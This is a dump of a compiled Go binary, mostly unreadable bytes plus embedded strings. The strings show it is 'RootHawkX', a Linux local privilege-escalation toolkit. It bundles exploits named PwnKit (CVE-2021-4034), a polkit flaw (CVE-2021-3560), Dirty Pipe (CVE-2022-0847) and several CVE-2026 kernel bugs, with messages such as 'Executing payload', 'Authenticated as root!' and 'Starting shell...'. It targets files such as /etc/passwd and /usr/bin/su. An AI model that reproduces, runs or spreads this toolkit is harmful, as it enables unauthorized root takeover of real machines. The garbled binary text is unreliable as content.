+dȑLA,2}2}@h'@:@#:  8@0\UYk@l @u  @(@80@90(Aqؙ6`JJ`h7= }#~ (:Y)0a@ :@ pM pM @ L L @ PL PL W N N ++`O `O u;WP P +L L ixJy)0v[a @ Q Q WR R " #R R n! WS S  R R 3 +2 rX`T `T {ǔ)00S! ] RD `D 4V=  =@ p p "@Z)0o _7 PP   W (&k7C)0W N % ` ` ' ` ` b@*Gm 8G(/=f)0N| @ p p W " # n! W   3 +2 rX@ @ PPָLl Q# (07  @  hhmqH@S`e!!q@-@(P@@4P#X,`00jؑ\@Y+@y} V(@[] Q: 8$(Z>0]8݊L Wh @U3 /@7@U@7@Q?@8@8P&-Sh:i`@@'@X/@H@'@ "'@(@0 Wh j c/,''6'  `x78 C8(D\p@p@ ?6\$E@%*_/00`TG (h @o@  c9 4 @ o9@ PPXHS%ГO@8ppr)( 0 8(HHPTR)0u]Y A {{Wyy ])pp1jB H:) 1 x xwB p|p|hP`vb @@A`@ x0@D Hl,@`4 カ)0/^  k@@t>> AAU::;;> < </7(. ==.M ;700 UEd%b d`  Hg,| ,c,ms5m88W`0Ai } $ @;: :$R(q 0X( 1{XUY`h&@@ 0-8 @p$H8ܴUhc|  !%)C> ?(?@0M@1&pN_` EI5M5@@p @N(8,:yPWhO }     1C $((q)0Hpv %LNE(% $ )  0\E'6 hhM`2IrG` Gv q@@   (w0_IH  P ` GKPQhI@ s2@[;@ @@ @ @@ @h@:D)0Da`M "@  @ @ - -   "" 3,"   6" 3@"hX ( a  (m"@#@#@#@ <@0@8&#@H#4@P[@`s$)0@T`I %VVLNNNEpkpk(RR% $ ) `O`O 0\E@c@c'6 JJ8 xȒ'N N7 { p5  (9,'@0KN@1@@2y,)0jeOppa 2A8q(_p=(@ (@ 9@ (9@ @@lK0/ȑ0@K2}  2}@ A A!"k@#(@(?)0[0J E @  "@  @ @     "" 3,"3 l< \ C QCmf)06J D Rb`YwPpJ<= " x#}iR  r Z (@;*@2@F*@!@!@h;@=~ /^ u   @8>@@EH?@P[M@Q  9Xphf;C Y  ,OeRQ l@H (w@C@HP:X@`D)0]MM\\ p_p_-0Y0Y- Q Q$jjaa$hhgg#`[`[ $h!{$ $)0{9 409@    2  g  @W[` ` @TG)0?A?1xH Q @ 8Q @ ?Z ()0 #K)0<M[  a'3`(lЏ Џ * * * {~ ( ( ~@) @) g *3 3 *@0 @0 Zj j *pf pf P2 P2 m/ / 33`(8)0o+dJ RnP P m  @ @ 3+3@  a 0 0 C[ <@ @ 3@ @ <w  "p p za Kުh]@`& 6>.S6 6(  60T6p66%:XTQhh' /@&@8@!/@^?@ k?@(,/@0&@8&@@F@HV@PX ΒQhi`) F^+8x?? p(V0j8&@,"H7/P0(6) 0>* TGL !;S :Z Oa Y@ @(),)0LA2} p?c @_T/:OPPO `pp$ ФФ ;:|eЧЧ\8Y_,O- ,OC  @  `(6B@0>)@<1XH)` hh pxo_1)0x!C2O2` ` ` ` ! [2    `@ @ @$g2м м p p 0* !$ 0QB f/S[0J @C"@  @ @  p   "" 3,"3 l< \ C QCpݏZG`2 0Qu@HP=X`h@p#@q xb\0Wh@h3 0.&8&7 U@(7@0s^@8^>@/@`U@hU>p-1)0b  @ +@@ [2@ D# JJ @ @ Ћ Ћ )@ N#  /4X# A,)0G2TG @ +@@ [2@ D# JJ @ @  )@ N#  /4X# )0Op(@  =W, , " #/ / /(4 4 n! W0 0 12 2 ?9 @ 3 +2 rX@6 @6 e+ + $ (X 9 9 HXhg@: H  f S f$(K0 >85@phoG"0T; H8$%r.%@>  8%>(2 09 8@ @@G @P@G`h)0pTG @ +@@ @ [2@ D# JJ @ @ )@ N#  /4X# <̛)00*TG @ +@@ @ [2@ D# JJ @ @ )@ ``N#  /4X# ({K@))X @ B @ (   1 nI   2@ B;TfZ@U0 2 ]@ 2   @ 8`B`V @ Z!@  @ )@ @@ @ wZ }I  ; B@!@  @ 8@ :# h`I VTB`;g>(t>0H8B%@<@=@>@L%HV%PX4X@D`;> g8:p@Jy@^j s8(^` 0pphn/2p&@[x8 8 hh 7\Fx ZKT y(08 @E@HR$P,@X5@Y@Z=@[,`,5I8hSGx-\$w= ]f$ -$@(G),*-+`PWk@TIxQ`9V  @ @  )'  Z( Z0@H%P-8X)002} [pIc @G:YA fAX4H/:`OĆ``sAA kBH`qtq@@uuPH#Wh _MX  ._  . f (m 0t 8@H{ P1X:`hp'x  g^Ph_`O@@  @ C@(0L8U<@-H-X%-hj@Cx`RDؓPX@Q@ @U0 `X(@0@H@X9p`0txN(pX@@@ @%sa6)0#%*# # Wp p u;Wp p Q*0% 0% \* & &  2` ` !P8 P8 !) ) g*: : * 3 !  2 ! [2  20 0 r*  I  2' ' !  2p p ;0 0 <.)0N{ /@ ?_h :@ @  u=W " # /!@X n! W0 0 ?9 @  "3 +2  W ++u;W rX` `  /d}i)0N~TG @ +@@ @ [2@ D# ]JJ 2 @ @   @ )@ @@ 0(N#  /4X# ((HKj`Ym' :O8: : :(0@8@9@:<@`IH`I /v`y[@8@@@^@g@@+ 8@(10/ |88@FH@@P!@@hf@.@@;@@' ( /HuY]Y)  @8 , Y(] 0a Xp)r"~1@ xe si s z) k)0Y-,O!10 0 A w: )0 0 A B &1 *) H P +P:P P P B 11U@ @ : Y B 4) `` z Y )B0 0 q` ` ` &l@ @ e _ u u  X@ @ 5 `  j)0Pm`gv%  @ +B.@@ 1 [2@ D# 2.]JJ @ @ Z!@  @ )@ @@ @ N#  @ PP/4X# 8@ [:# xh o+$J eJP@M (@@ P ` p3y<e#C+ w  z+C@OJ@+C@(+0R8< Ptv`<rI0/0Pm bgv% (> @ +B.@@ 1 [2@ D# 2.]JJ @ @ Z!@  @ )@ @@ @ N#  @ pp/4X# 8@ [:# ui 0hTx(ho 6@ L(ENc>!L%`wн L0DlEnT(;(S ]`c]LL`G%M rc@hBMp4sM^kT`nho67)0c~{M), 3 : A  i @  W W!@X@ @ `C;Za@'% ;'  " W iu;W 2H % Im O +W"{1;Z aC W>)0M), 3 : A   i @  W W`C;Za@'% ;' " WЧ Ч iu;WP P rX 2H % Im O +W"{1;Z aC WZQUY)02IG*$MS(!2!:AI1Y_} x%n@.>n/0c~ mM@|M)@}*Ou, 3 : A  i @ p p W W!@X `C;Za@'% ;'P P " WЬ Ь iu;W0 0 2H % Im O +W"{1;Z aC WKg/0pM`M)@2 Ou, 3 : A  i @  W W`C;Za@'% ;' " W iu;W rXШ Ш 2H % Im O +W"{1;Z aC W)0S.' @ B @ (   1 nI      2@ B;TfZ@U0 2 ]@ 2   } } @  8`B`V @ ~ ~ Z!@  @ )@ } } @@ @ wZ }I  ; B@!@ } }  @ | | 8@ [6 6 ` @  :# ;mQhT@ &&& &0&@&P&`&p&&&&&&&&&&& &0&@&P&`&p &&&& &%&*&/&b()0PXP3(4@G$$ GhOq|_y0_9_$q-GkwO- p=@ A@0@ 9X/kFXey@ A%AlK90@N@N0hh6 0papaxb@@W@@9G@D@DSsPȑ4!!1+X]@{`eSP F! |DD4X (  O3` g@ a  x!@ o *,9@ X]/ ` 6 @ #NKc=p=h@ = 4@  p@ @  p l "q@ ? 5, @, # aE@ j@ K4x Dr r#  C{)0'@N;/HA  P X` ` ` /ZN_ h9`(y( '(W 9W !iNxNFGH@  ;ZaWdjptNd'/  W 'NN/WrGGp     ' ' '9 N ._/ U@ )q)04@!=/SF! |DD4X( O3g@ a x!@ o o ,*,9@ X]/ ` 6 @ #NKc=p=h@ = 4@  p@ @  p p l"q@ ? 5, @, # u\]KlKaE@ j@ K4xP P Drr#Q W v sK,| PHtHQs ..`-$&>  x8 P2-h3>   =-5 $H-$5   (08@$H@>PS-h^-@5@i-t-5@2E@6` -`0@ H7x56 @..`uN/.R<w7M0@8o@?XI`.hF@7.@F@<&F&7`M ! 7 P&8 7 ?`f @" F(x0.F8c@{HcP\ X  rP%`U`5Z&:d5h52&`5pU@5zi5c@5yM@5@575i@5c `%5ؒ5AA( >>P X(0N 8-h-p-x`%U E:-@*`M.?6\@>@>L@T@E@K6@W6@b@ML E@j%@c6\L@t%@>kLEMzLT@.@L@c] 4`~%%%\ o6@ .(08@#@Hh`> h$.p{6:xph|,@Gc   Lt]k)0SiO{S h w, 5 5 #  D H  :@  A 1 a B\;fZ0K D  , K  `   @  #$8BZ!@ )@ wZ }I  ; B@!  $5$+5D=75,R @ P P A k@C5 K@ =@ v#,=@ = =@ bvRmD=Y  $\@ @ *$ O_ PS `iOX>{S h w, 5 5 #  D H  :@  A 1 h a j B\;fZ0K D k  , K  `   m @  m #`. $8BZ!@ q )@ q wZ }I  ; B@! pr  $5$+5D=75,R @ P t A k@C5 K@w @ =@ v v#z ,`X =@ = =@ n bvRmDW =Y  $\@ t @ *$ u  ~h5JJq8 @@ H?3 Pex )J"y*`M:CNk NNu*T"K3@r y  *^"@@+<@* @&@W3@HC@h":c3@ Z@!*"VC(r"@@HJ:Lo3P X/`*Mh|" $p8`M8<)+ ++&{3@dC"+@E<Y""J^v@R<"  -+h8+p"`Mx3{(03:1J:rC&"`{ ! A`8C+@hCpN+)xIv)-=`0+./]SM[<1,C>{}5LPZ|#ypk-v []), )(: ..|0|1sh-c-occsu%v-s-q-e-l-n\xµTZ> ("")) ^ ) +: @s -> PB n=][} ] \u\U[ ] 25LlLtLuMnLCPePcCcScPdNdMePfCfPiNlZlSmLmSkPsLoNoPoSoZpCoZsMcCsCnYi!=>=<=~>" os\d\D\s\S\w\W\E:]/icowany%s [*][+]-pkintnilPWD../-O2CC=gcc386arm-O0ID=-QirpmapkMayUTC m=EOFmapptr...finobj() gc gp *(in n= - P MPC=], < end > ]: ???FP SP pc= G125625NaNHanLaoMroNkoVai): -%s+%sreddimaes/..net: ` listexec[-] trueuintwaitread/tmpHOMEopenstatsyncfilePWD=PATHrootaeaddpkginfosudo on JuneJuly in /etcboolint8chanfunccallkindallgallpitabsbrkidledead is LEAFheapbase at Has used of ) = <==GOGC] = s + ,r2= pc=: p=cas1cas2cas3cas4cas5cas6 m= sp= sp: lr: fp= gp= mp=bad ) m=Atoiquit3125-Inf+InfMarkAhomChamKawiLisuMiaoModiNewaThaiTotoUSERbluecyanbold<%s>%s%csha1sha2sha3timecap -> failpedit-execfalsevaluefloat -%sErrorchdirwritemkdir$HOMEchmodlstatclosegetwdpipe20.1130.119-Wallamd64arm64exp.c %s linuxMarchAprilLocalint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleepgcing MB, got= ... objs max=scav ptr ] = (trap:init ms, fault tab= tag= top=[...], fp:1562578125GreekOthercntrldigitpunctAdlamBamumBatakBuhidDograKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamil$USERgreenblackwhiteblinkpmullcrc32cpuidmatchrune pwnkitpkexecPwnKitbackuptargetUsage: %s Alias:Desc :string StringFormat[]byteTMPDIRremovewaitidspliceexec: -lutilpacmanLANG=C ValueSundayMondayFridayAugustGOROOTuint16uint32uint64structchan<-<-chansysmontimersefenceselectleaked, not object unused next= jobs= goid sweep B -> % util alloc free span= prev= list=, i = code= addr=], sp= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base hangupkilled/proc/errno 390625CommonLetterNumberSymbolArabicBrahmiCarianChakmaCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiyellowbg-reditalichiddensha512 want cmd/gocryptonetdnsempty rune1 keysign%s %s -backup-targetUsage: float32float64 (trap chtimespkchecksu - %sTuesdayJanuaryOctoberinvaliduintptrChanDir Value>forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events, goid= mark s=nil spans (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = ,errno=panic: GODEBUG nmsys= locks= dying= allocssignal Signal m->g0= pad1= pad2= minpc= value= (scan) types : type abortedstopped19531259765625ControlAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhuta/bin/shmagentabg-bluebg-cyanreverseatomicsruntimeos/execfips140tls3destlssha1net/urlInstAltInstNopalt -> nop -> any -> copyfailCopyFailpintheftPinTheftdirtycbcDirtyCBCOptions:durationGoStringsignal: readlinkunlinkatopenfdatsendfile0.105-260.105-31roothawknil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDescsynctesttraceBufdeadlockraceFinipanicnilcgocheckrunnable is not pointer, errno=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 r25 r26 r27 r28 r29 lr sp pc fault ----- stack=[ minLC= maxpc= packed= -> ptr= stack=[ minutes status= etypes ParseIntstrconv.parsing no anode/uid_map/gid_map48828125ArmenianBalineseBopomofoBugineseCherokeeCyrillicDuployanEthiopicGeorgianGujaratiGurmukhiHiraganaJavaneseKatakanaKayah_LiLinear_ALinear_BMahajaniOl_ChikiPhags_PaTagbanwaTai_ThamTai_VietTifinaghUgariticVithkuqibad instdarkgreylightredbg-greenbg-blackbg-whiteoverflowgo/typesnet/httpgo/buildnetedns0tlsmlkemInstFailInstRune[:word:]copy-failcopy failCopy Failcopyfail2fragnesiaFragnesiapin-theftdirty-cbcdirtypipeRootHawkXExamples:fork/execcontinuedRemoveAllmkdirtemp#execwait/dev/null--versionPassword:dbus-sendexploit.cbad indirreflect: WednesdaySeptemberlocaltimecomplex64interfaceinvalid nfuncargs(InterfacetimerSendpollCacheprofBlockstackpoolhchanLeafwbufSpansxRegAllocspanSPMCsGC (idle)mSpanDeadinittracescavtracepanicwaitchan sendpreemptedcoroutinesignal 32signal 33signal 34signal 35signal 36signal 37signal 38signal 39signal 40signal 41signal 42signal 43signal 44signal 45signal 46signal 47signal 48signal 49signal 50signal 51signal 52signal 53signal 54signal 55signal 56signal 57signal 58signal 59signal 60signal 61signal 62signal 63signal 64copystackfinalizer ms cpu, (forced) wbuf1.n= wbuf2.n= s.limit= s.state= B work ( B exp.) marked unmarked in use) , size = bad prune, tail = newosprocrecover: not in [ctxt != 0, oldval=, newval= threads=: status= blocked= lockedg=atomicor8 runtime= sigcode= m->curg=(unknown)total < 0traceback (leaked)(durable) labels:{} stack=[ gp.goid= lockedm=ParseBoolrwxrwxrwxinterruptbus error244140625InheritedSeparatorSurrogateBassa_VahBhaiksukiCuneiformKhudawadiMalayalamMongolianNabataeanPalmyreneSamaritanSundaneseunhandled/dev/ptmx/dev/pts/timed outlightgreylightbluelightcyanbg-yellowunderline/cpu.maxmath/randtlsrsakexInstMatchInstRune1[:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:][:^word:]dirty fragcopyfail-2Dirty FragdirtycloneDirtyClonedirty pipeDirty Pipe/dev/stdinreaddirent (deleted)pidfd_openpidfd_waitexecerrdotpackagekitroothawk%dpintheft.cempty line%!Weekday(short readcomplex128t.Kind == vgetrandomnotifyListprofInsertstackLargeNot workermSpanInUseGOMAXPROCSstop tracedisablethpinvalidptrschedtracesemacquiredebug callheap index dirty-clonepolkit dbus.WithCancelparse error/dev/stdout/dev/stderrunreachablenil Context bytes ... ^[0-9\.\-]+/etc/passwd/usr/bin/sustat %s: %wopen %s: %wsync %s: %wfragnesia.ctime: file short writebad argSizemethodargs(assistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailunspecifiedcgocall nil s.nelems= of size ) returned runtime: p ms clock, nBSSRoots=runtime: P exp.) for minTrigger=GOMEMLIMIT=bad m value, elemsize= freeindex= span.list=, npages = , a123456=[ p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=float64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: running < 0runtime: g : frame.sp=created by bad addressfile existsbroken pipebad messagealarm clockstack faulti/o timeout30517578125Math_SymbolPrivate_UsePunctuationDives_AkuruMedefaidrinNag_MundariNandinagariNew_Tai_LueOld_PersianOld_SogdianPau_Cin_HauSignWritingWarang_Citirandseednoplightyellowbg-darkgreybg-lightredend of filegocachehashgocachetesthttp2clienthttp2serverarchive/tartls10servercrypto/x509archive/zipInstCaptureInstRuneAny[:^xdigit:]dirtydecryptDirtyDecryptrun-internal %s %s exit status can't happenreaddirnamesfstat %s: %wchmod %s: %wshort buffersweepWaiterscleanupQueuetraceStringsspanSetSpinemspanSpecialtraceTypeTabgcBitsArenasmheapSpecialgcpacertraceharddecommitmadvdontneeddumping heapchan receivesynctest.Runcleanup waitLINUX_2.6.39 span.limit= span.state=bad flushGen MB stacks, worker mode nDataRoots= nSpanRoots= wbuf1= wbuf2= gcscandone runtime: gp= found at *( s.elemsize=scan: total scan: class B (∆goal , cons/mark maxTrigger= pages/byte s.sweepgen= allocCount page summarytimer_deletens} value: {}, want {r1= [recovered]bad recoveryGOTRACEBACK=bad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limit runtime: sp=abi mismatchwrong timerstrace bufferillegal seekinvalid slothost is downchild exitedI/O possiblenot pollable152587890625762939453125invalid baseformatBase10Cased_LetterOther_LetterOther_NumberOther_SymbolSpacing_MarkCypro_MinoanMeetei_MayekPahawh_HmongSora_SompengSyloti_Nagrirandautoseedlightmagentabg-lightgreybg-lightbluebg-lightcyangotypesaliashttpmuxgo121multipathtcptlssecpmlkemtlsunsafeekmInstAltMatchunexpected )altmatch -> anynotnl -> dirty-decryptCVE-2021-4034cve-2021-4034CVE-2021-3560cve-2021-3560CVE-2022-0847cve-2022-0847-run-internalUsage of %s: (default %q) (default %v)stop signal: Pipe drained.create %s: %wLC_MESSAGES=C/etc/zoneinfo is too largewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.WaitSIGQUIT: quitSIGKILL: killout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq= failed with timer_settimefatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failedmp.g0 stack [nil stackbase} sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=invalid base dalTLDpSugct?level 3 resetexchange fulltimer expiredsrmount errorpower failure3814697265625unknown errorLetter_NumberGunjala_GondiMasaram_GondiMende_KikakuiOld_Hungarianbg-lightgreenpath too longcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeinvalid UTF-8CVE-2026-31431cve-2026-31431CVE-2026-43284cve-2026-43284cve-2026-43500CVE-2026-43503cve-2026-43503CVE-2026-46300cve-2026-46300CVE-2026-46331cve-2026-46331CVE-2026-46333cve-2026-46333CVE-2026-43494CVE-2026-31635.WithDeadline( (core dumped)/proc/self/exe ... omitting copy to %s: %wchtimes %s: %wdirtydecrypt.c on zero Valueunknown methodasynctimerchanunexpected EOFunsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.WaitSIGABRT: aborts.allocCount= Value of type runtime: mmap(nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC, called from -thread limit stopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=invalid syntaxno such deviceis a directorytext file busyfile too largetoo many linkslevel 3 haltedlevel 2 haltedprotocol errortoo many userswindow changedunreachable: 1907348632812595367431640625Combining_MarkDecimal_NumberEnclosing_MarkLine_Separator\.+*?()|[]{}^$bg-lightyellowmalformed filesyscall failedcrypto/fips140mime/multipartx509sha256skidInstEmptyWidthssh-keysign-pwn/usr/bin/pkexec is not definednot a directorycopy_file_rangeaccountsservicefcntl error: %wFilling pipe...,M3.2.0,M11.1.0invalid argSizecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizerstracebacklabelsforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedmorestack on g0stopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed] morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpected kindno such processadvertise errornetwork is downno medium foundkey has expiredbad system call476837158203125invalid bitSizeCurrency_SymbolModifier_LetterModifier_SymbolNonspacing_MarkSpace_SeparatorHanifi_RohingyaPsalter_Pahlavibg-lightmagentanot in a cgroupincomplete linejstmpllitinterptarinsecurepathurlstrictcolonsx509keypairleafx509usepolicieszipinsecurepathLinux Kernel COW RootHawkX -any%s %s completed context canceledexec: no commandinvalid passwordSplicing data...splice error: %wwrite failed: %wCreating pipe...Pipe size is %d.Draining pipe...0800010000000010: value of type 0123456789abcdefinteger overflowdecoratemappingsgcshrinkstackofftracefpunwindoffGC scavenge waitGC worker (idle)page trace flushselect (durable)SIGNONE: no trapheap reservation/gc/gogc:percent, not a functiongc: unswept span KiB work (bg), mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindpage alloc indexbad summary dataruntime: addr = runtime: base = runtime: head = already; errno= runtime stack: invalid g statusGOTRACEBACK=nonebad g transitionschedule: in cgoreflect mismatch untyped locals missing stackmapbad symbol tablenon-Go function pointerless type not in ranges: sigaction failedinvalid argumentinvalid exchangeobject is remotemessage too longno route to hostremote I/O errorstopped (signal)2384185791015625invalid bit size0123456789ABCDEFDash_PunctuationLowercase_LetterOpen_PunctuationTitlecase_LetterUppercase_LetterImperial_AramaicMeroitic_CursiveZanabazar_Squareregexp: Compile(GODEBUG: value "allowmultiplevcscryptocustomrandhttpcookiemaxnum[bisect-match 0xInstRuneAnyNotNL RootHawkX -list0123456789ABCDEFX0123456789abcdefxreflect.Value.Intpidfd_send_signal os/exec.Command(exec: killing Cmdexec: not startedSetting up tty...Starting shell...create failed: %wAccept failed: %vExecuting payloadBackup failed: %vroothawk-pintheftreflect: call of reflect.Value.Lencorrupt zip file unknown type kindreflect: New(nil)containermaxprocsgoroutine profileAllThreadsSyscallGC assist markingselect (no cases)sync.RWMutex.Lockwait for GC cycletrace proc statusSIGINT: interruptSIGBUS: bus errorSIGCONT: continuesync.(*Cond).Wait: missing method invalid addrBytesinvalid wordBytesnotetsleepg on g0bad TinySizeClassimmortal metadataruntime: pointer g already scannedmark - bad statusscanObject n == 0swept cached spanmarkBits overflowruntime: summary[runtime: level = , p.searchAddr = futexwakeup addr=, 0, {interval: {ns}}, nil) errno=results: got {r1=internal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=gp.waiting != niltaggedPointerPackunknown caller pcstack: frame={sp:trace arena allocruntime: nameOff runtime: typeOff runtime: textOff invalid bit size exec format errorpermission deniedno data availablestale file handlewrong medium type from a write of 1192092895507812559604644775390625Close_PunctuationFinal_PunctuationOther_PunctuationOld_North_ArabianOld_South_Arabianmultipartmaxpartsurlmaxqueryparamswinreadlinkvolumemissing closing )missing closing ]cve-2026-46331 cowcontext.Backgroundvalue out of rangeflag %q contains =flag redefined: %sreflect.Value.UintWriting payload...splice failed (%d)Sendmsg failed: %vBacked up %s to %scat /etc/*-releaseunknown time zone reflect.Value.Elemreflect.Value.Typereflect: Zero(nil)adaptivestackstartdontfreezetheworldtraceadvanceperiodtracebackancestorsgarbage collectionsync.RWMutex.RLockGC worker (active)stopping the worldwait until GC ends__kernel_getrandomsystem page size ( but memory size /gc/pauses:seconds because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preempt instruction bytes:mp.gsignal stack [bad manualFreeListruntime: textAddr frames elided... , locked to thread, synctest bubble input/output errorno child processesfile name too longno locks availableidentifier removedmultihop attemptedRFS specific errorstreams pipe errorconnection refusedoperation canceledsegmentation faultuse of closed file298023223876953125Caucasian_Albanian/cpu.cfs_quota_us/proc/self/cgroupx509negativeserialbufio: buffer full%s Running %s (%s) bad flag syntax: %sreflect.Value.IsNilreflect.Value.Floatexec: canceling Cmd[sudo] password forPlease wait ~60s...cve-2021-4034-poc.croothawk-pintheft-*/usr/lib/locale/TZ/reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)SIGTRAP: trace trapwait for debug callcgocall unavailablepanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedunaligned sysUnused/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad index, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberpanic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic , g->atomicstatus=unexpected g status_cgo_setenv missingbad runtime·mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is skip this directorybad file descriptortoo many open filesdirectory not emptydevice not a streamdisk quota exceededillegal instructionstopped (tty input)/proc/self/uid_map/proc/self/gid_map14901161193847656257450580596923828125Initial_PunctuationParagraph_SeparatorCanadian_AboriginalKhitan_Small_Scriptuser: unknown user unexpected InstFail^\s*(%s)\s*(%s)\s*$wrong unescaped len/cpu.cfs_period_usembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersfile already existsfile does not existfile already closedpolkit:CVE-2021-3560kernel:CVE-2022-0847 %s Running %s (%s) flag: help requestedgnome-control-centerpipe read failed: %w ... wrote %d bytes/usr/share/zoneinfo/invalid write resultfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesSIGALRM: alarm clockSIGTERM: terminationclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done pacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatconnection timed outis a named type filekey has been revokedstopped (tty output)urgent I/O condition37252902984619140625Egyptian_HieroglyphsMeroitic_HieroglyphsAuthenticated as %s!zlib: invalid headerhttplaxcontentlengthx509usefallbackrootsexpression too largeinvalid repeat countflag %q begins with -%s flag redefined: %sreflect.Value.Complexexec: already startedfailed to create userpipe write failed: %wRead zlib payload: %vroothawk-dirtydecryptmay run the followingunsupported operation of unexported methodunexpected value stepreflect.Value.Pointernegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount=, levelBits[level] = runtime: searchIdx = profiler hash bucketsdefer on system stackpanic on system stackasync stack too large_cgo_unsetenv missingstartm: m is spinningstartlockedm: m has pfindRunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by timer data corruptionbad type in compare: block device requiredread-only file systempackage not installedlink has been severedstate not recoverabletrace/breakpoint trapuser defined signal 1user defined signal 2virtual timer expired/proc/self/setgroups186264514923095703125931322574615478515625Connector_PunctuationAnatolian_HieroglyphsInscriptional_Pahlaviuser: invalid userid user: unknown userid Malformed version: %sconcurrent map writes/proc/self/mountinfoinvalid named captureAuthenticated as root!roothawk-cve-2021-4034Socket Bind failed: %v%s executing PinTheft /lib/time/zoneinfo.zipreflect.Value.MapIndexunexpected method stepinteger divide by zeroCountPagesInUse (test)ReadMetricsSlow (test)trace reader (blocked)trace goroutine statusGC weak to strong waitchan receive (durable)SIGSTKFLT: stack faultSIGTSTP: keyboard stop__kernel_clock_gettimesend on closed channelcall not at safe pointgetenv before env initinterface conversion: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime: out of memory/gc/scan/globals:bytes/gc/heap/frees:objectsruntime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failed received during fork stack not a power of 2minpc or maxpc invalidnon-Go function at pc=argument list too longcannot allocate memoryremote address changedprotocol not availableprotocol not supportedaddress already in usenetwork is unreachable4656612873077392578125Inscriptional_ParthianNyiakeng_Puachue_Hmongzlib: invalid checksumexit hook invoked exiterror parsing regexp: unexpected length codeDirtyDecrypt / DirtyCBCInvalid hex payload: %vroothawk-cve-2026-43284roothawk-cve-2026-43503roothawk-cve-2026-46300roothawk-cve-2026-46331roothawk-cve-2026-46333roothawk-dirtydecrypt-*reflect.Value.Interfacereflect.Value.NumMethodindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanSIGIO: i/o now possibleSIGSYS: bad system callmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2 system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: eventfd failedruntime: netpoll failedpanic during preemptoffnanotime returning zeroschedule: holding locksprocresize: invalid argmisuse of profBuf.writeunexpected signal valuespan has no free stacksstack growth after forkshrinkstack at bad 